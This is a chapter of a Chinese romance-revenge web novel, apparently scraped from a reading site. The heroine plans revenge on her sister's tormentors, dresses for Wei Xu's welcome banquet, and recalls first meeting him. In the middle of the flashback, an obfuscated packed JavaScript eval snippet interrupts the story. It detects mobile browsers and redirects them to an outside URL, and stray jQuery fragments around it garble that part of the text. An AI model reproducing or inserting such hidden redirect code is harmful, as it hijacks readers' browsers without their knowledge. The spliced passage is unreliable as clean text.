23. 第 23 章

作品:《她的鱼塘她做主

    过了这么多年,夕芽终于知道了剩下三个男人的名字——


    王远志、陈仁达、燕驰。


    原来迟少是驰少,也不是姓迟,是姓燕。


    燕这个姓本就少见,夕芽刚好才认识一个,几乎第一时间她就想到了那个追着程佑羽叫哥哥的燕澜。


    事实证明,她的直觉是对的。


    电话那头,钟启曜的声音没了以往的轻松:“燕家是帝都正经的老牌家族,财富在其次,其权势不可估量,就连林弘升这样富可敌国的都上赶着跟燕家搞好关系。


    “燕家如今的掌权人燕鸿卓是燕驰的爷爷,燕鸿卓的孙儿外孙不少,但燕驰自幼能力出众,吊打一众废物堂表兄弟,早早就被燕鸿卓钦定为继承人,一直带在身边教养。”


    话说到这儿,他停了下来,接下来的话有些残酷,但却不得不说,只能是尽量委婉:“阿夕,以我们现在的能力,想要动燕驰几乎是不可能的。”


    钟启曜说的夕芽又何尝想不到。


    而且,这仇是她的,与他并没有关系,这些年她已经利用他帮她够多了,没理由再让他跟她一起被卷进危险中。除非有十足的把握,否则她不会也不能轻举妄动,唯有继续蛰伏。


    扯了扯嘴角,夕芽勾起一丝苦笑,片刻后,她拍了拍膝盖,像是给自己打气一般:“没关系,我现在动不了燕驰,不代表以后就不行。先从另外两个人下手,总不至于一个都动不了吧?”


    见她并未因此一蹶不振,钟启曜松了一口气,换上以往玩世不恭的笑:“那倒不会。”


    “王远志和陈仁达不过是跟在秦修和燕驰屁股后面的小喽啰。燕驰从前就是拿秦修当枪使,自己躲在后面,好一直保持他人前的完美形象。这几年秦修失了势,他们俩上赶着去找燕驰,但是燕驰根本就不搭理他们,如今他们的日子都不太好过。”


    夕芽忍不住想鼓掌,他们不好,对她来说就是最好。


    两人在电话里将接下来的计划略做了一番商议,事情说得差不多,照以往,钟启曜就该挂电话了,只是这一次,他却踟躇着并未挂断。


    夕芽隐隐有不好的预感,顿了顿道:“是还有什么事吗?你说,我承受得住。”


    片刻,电话那端传来一道无声叹气:“有件事情,关于程佑羽的……”


    钟启曜从来不是个多事的人,尤其她的私生活,她不说,他是不会主动提起的,现在却突然提到程佑羽,夕芽一颗心砰砰直跳。


    “他受伤了?生病了?”


    “那倒没有,是他和林弘升之间……”


    “阿曜,”夕芽轻咬下唇打断道:“其他的事就别告诉我了。”


    她已经做了决定,就不能再回头。


    那些他的生活,他的喜怒哀乐,都应该与她无关。


    知道得越多,只会让她陷入不可自拔的旋涡,成为她复仇路上的阻力,不听才能不想,不想才能不动摇。


    就让她当一只鸵鸟吧。


    *


    深秋,帝都的气温只剩下几度。


    窗外天阴沉沉的,一阵冷风吹过,街道两旁粗壮的乔木上本就不富裕的叶子愈发凋零。


    几天前夕芽才从山平市回来,那边的工程到了一定进度,已经不需要她再做样子蹲守,这次回来她还有更重要的事情。


    王远志有个比他小十几岁的异母弟弟王远航。早些年,王远志一直压着王远航欺负,好几次差点要了王远航的命。


    因为跟秦修的关系给王家带来不少利益,王父对王远志一直十分容忍,不仅把王远航送去了国外,家里大大小小的事情都是王远志说了算,就连他那年轻貌美的后妈都要靠爬上他的床才保住了一席之地。


    这种状况直到秦修出事后出现了转折。


    大儿子没了价值,王父隐忍多年终于直起了腰板,不仅把小儿子接了回来,还亲力亲为带着。王远航也十分争气,短短一年迅速接手了公司近半数业务。


    反观王远志,这些年除了抱大腿没别的本事,业务能力差了学成归来的弟弟几十条街。


    王远航被欺压了好多年,新仇旧恨,早就迫不及待翻身。


    两个月前,夕芽通过中间人,给王远航送了份大礼,之前林弘升送她的那几个合同,她正好不想便宜了左正诚,用在这里倒是合适。


    她这次回来,刚好能赶上近距离观赏王远航痛打落水狗。


    即便是寒风凛冽,依旧挡不住夕芽扬起的嘴角,有时候,落井下石真是件让人愉悦的事。


    这份好心情一直延续到魏郡容给她打来电话,说:“煦哥哥回来了,一群朋友给他弄了个接风宴,你现在办事正是需要人脉,到时候带你去多认识几个人。”


    夕芽根本没来得及过脑子,满口应下。


    直到今天早上,她收到魏郡容派人给她送来的礼服和首饰,才后知后觉想起来自己答应了什么。


    魏煦——


    魏煦回来了!


    而她,即将盛装去参加他的接风宴。


    夕芽颤着手打开硕大的纸盒。


    魏郡容给她准备的是一件温柔的紫色鱼尾裙。


    轻纱质地,肩头两个蝴蝶结彰显少女的俏皮感,领口却是深V,好在有一层薄薄的蕾丝遮挡,半球若隐若现。


    后背是镂空的,夕芽将长发微卷,整个披散下来,却也遮不完白到晃眼的春光。


    裙子的前摆在膝盖至上,后摆呈弧线往后延伸直至拖地,衬得她一双腿逆天修长。


    她看了一眼盒子里差不多十公分的银色细高跟鞋,的确跟裙子很衬,只是她唯恐自己无法驾驭,万一当着众人出糗就亏大了。


    想来想去,她从鞋柜里翻出一双颜色款式相近,鞋跟却矮了一半的中跟鞋换上。


    没那么相衬,但是胜在稳当。


    不得不说,魏郡容真是细心周到,就连耳环项链手链都给她准备了,甚至还给她准备了一个同色系的手工手包。


    夕芽一一穿戴完毕,坐在镜子前开始化妆。


    明明眼睛和手都在忙碌,不得空闲,她的脑子却开始飘忽,不知不觉,思绪飘回到十一年前。


    那是姐姐出事的那天,也是她第一次,见到魏煦的那一天……


    *


    那天,夕芽因为一个噩梦从魏家别墅跑回家,亲眼目睹了姐姐惨死。


    紧接着,她偷听到父母的对话,原来将姐姐逼上绝路的竟是她们最亲最爱的人,再后来,她又听到了哥哥车祸意外的消息。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387124|184207||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一夕之间,夕芽幼小的心灵里,从前对家的认知被彻底颠覆。


    她正担忧自己万一被发现该怎么办,没想到一门之隔的父母二人却争执起来,在争执中,齐红雪被左正诚推下了楼梯。


    趁着左正诚下楼查看的间隙,一直躲在二楼杂物间的夕芽赶紧溜出来,从阳台顺着水管爬了下去。


    她牢记着姐姐交代的话,不能让爸妈察觉她知道了真相,着急忙慌往魏家的别墅跑,想趁着同学都还没醒,装做她从来没出去过的样子。


    回到魏家别墅的时候虽然还早,但夏日的天色已经大亮,还好昨晚大家都玩得很累,一切都如她所愿,别墅里安安静静,没人醒来。


    别墅的佣人在前一天就被魏郡容放了假,没人知道夕芽出去又回来。


    只是,她虽穿着一身深色衣裤,不仔细看不出上面的血渍,但身上到底还是沾上了不少的血腥味,只要离她稍微近一点就会被察觉。


    这个时候,进屋去洗澡是不太可能的,不单是会惊醒睡在客厅的同学,她也没衣服可换。


    看着院中偌大的露天泳池,夕芽咬了咬牙。


    她取下背着的小皮包,蹲在池边,小心将皮包表面清洗了一遍,随即放到一旁。


    面对泳池,夕芽努力压下心中的慌张,一手捏着鼻子,鞋都忘了脱,眼一闭,直接跳了进去。


    魏煦是被家里使唤着来叫堂妹结束聚会的,他虽有些不太情愿,但家里就这一个小公主,几乎是全家人都宠着她,偏偏魏郡容从小最听他的话,所以这种得罪小公主的活,只要他在家,就必然躲不过。


    来之前,他以为最大的困难是应对堂妹的撒娇卖萌跟耍赖。别人或许很难办,但他却是驾轻就熟。


    他一手插兜,脚步轻快地往院子里走。


    万万没想到,才刚踏进院子门,就看见泳池里一个单薄的身影在水中杂乱的拍打着,一颗小脑袋一下冒出来,一下又沉下去。


    糟糕!有人溺水了!


    顾不得其他,魏煦将兜里的手机和车钥匙快速扔到一旁的草地上,纵身跃入池中。


    魏煦个子高,长手长脚的,不过几下便游到了夕芽身边,单手将她捞了起来。


    很快夕芽就被带上了岸,放在池边白色的躺椅上,仍在剧烈呛咳。


    明明她都已经上了三节游泳课了,第一节游泳课她就能在水里浮起来,上到第三节时,她都能横着游过泳池,可是刚刚,她却连蛙泳的姿势都想不起来。


    差一点,只差一点她就要把自己淹死,还好被人救了起来。


    她喘息着抬头,拨开遮目的水雾,看向眼前的人。


    按理说他和她一样,浑身被水浸湿,该是十分狼狈的样子,可是晨曦的光芒之下,他的周身仿佛有一圈七彩光晕。


    那一刻,夕芽几乎要忘了呼吸,她从未见过这样好看的一张脸,眉眼深邃,轮廓分明,整个人看起来干净又清透。


    夕芽愣怔之际,魏煦的眉心却是紧紧皱了起来。


    他将她从池子里捞起来这一段路,二人离得实在太近,魏煦隐约闻到了她身上有淡淡的血腥味。


    待到她缓和过来,他冷着一张脸,沉声问道:“刚刚,你在做什么?”